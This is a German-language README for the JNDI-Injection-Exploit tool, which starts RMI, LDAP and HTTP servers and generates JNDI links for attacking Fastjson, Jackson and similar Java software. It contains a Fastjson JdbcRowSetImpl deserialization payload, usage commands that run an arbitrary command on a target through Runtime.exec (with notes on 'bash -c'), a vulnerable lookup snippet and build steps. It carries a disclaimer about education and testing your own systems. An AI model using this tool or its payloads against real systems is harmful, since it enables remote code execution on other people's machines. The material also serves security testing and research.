
JNDI-Injection-Testwerkzeug (Ein Werkzeug, das JNDI-Links generiert und mehrere Server starten kann, um JNDI-Injection-Schwachstellen auszunutzen, wie Jackson, Fastjson, usw.)
Materials about JNDI Injection
JNDI-Injection-Exploit ist ein Werkzeug zum Generieren funktionsfähiger JNDI-Links und zur Bereitstellung von Hintergrunddiensten durch Starten von RMI-Server, LDAP-Server und HTTP-Server. RMI-Server und LDAP-Server basieren auf marshals und wurden weiter modifiziert, um eine Verbindung mit dem HTTP-Server herzustellen.
Mit diesem Tool können Sie JNDI-Links erhalten. Sie können diese Links in Ihren POC einfügen, um Schwachstellen zu testen.
Zum Beispiel ist dies ein Fastjson-Schwachstellen-POC:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
Wir können "rmi://127.0.0.1:1099/Object" durch den von JNDI-Injection-Exploit generierten Link ersetzen, um die Schwachstelle zu testen.
Alle Informationen und Codes werden ausschließlich zu Bildungszwecken und/oder zum Testen Ihrer eigenen Systeme auf diese Schwachstellen bereitgestellt.
Ausführen als:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
wo:
-C - Befehl, der in der entfernten Klassendatei ausgeführt wird.
(optional, Standardbefehl ist "open /Applications/Calculator.app")
-A - die Adresse Ihres Servers, möglicherweise eine IP-Adresse oder eine Domain.
(optional, Standardadresse ist die Adresse der ersten Netzwerkschnittstelle)
Punkte zur Beachtung:
Stellen Sie sicher, dass die Ports Ihres Servers (1099, 1389, 8180) verfügbar sind.
oder Sie können den Standardport in der Klasse run.ServerStart in Zeile 26~28 ändern.
Ihr Befehl wird als Parameter an Runtime.getRuntime().exec() übergeben, daher müssen Sie sicherstellen, dass Ihr Befehl in der Methode exec() funktioniert.
Befehle in bash wie "bash -c ...." müssen doppelte Anführungszeichen erhalten.
Lokale Demo:
Starten Sie das Tool wie folgt:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
Screenshot:

Nehmen wir an, wir injizieren die in Schritt 1 generierten JNDI-Links wie rmi://ADDRESS/jfxllc in eine anfällige Anwendung, die durch JNDI-Injection angegriffen werden kann.
In diesem Beispiel sieht es so aus:
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1/fgf4fp");
}
Dann wird beim Ausführen dieses Codes der Befehl ausgeführt und das Protokoll in der Shell ausgegeben:

Wir können eine der beiden Methoden auswählen, um das JAR zu erhalten.
Laden Sie das neueste JAR von Realease herunter.
Klonen Sie den Quellcode lokal und bauen Sie ihn (erfordert Java 1.8+ und Maven 3.x+).
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests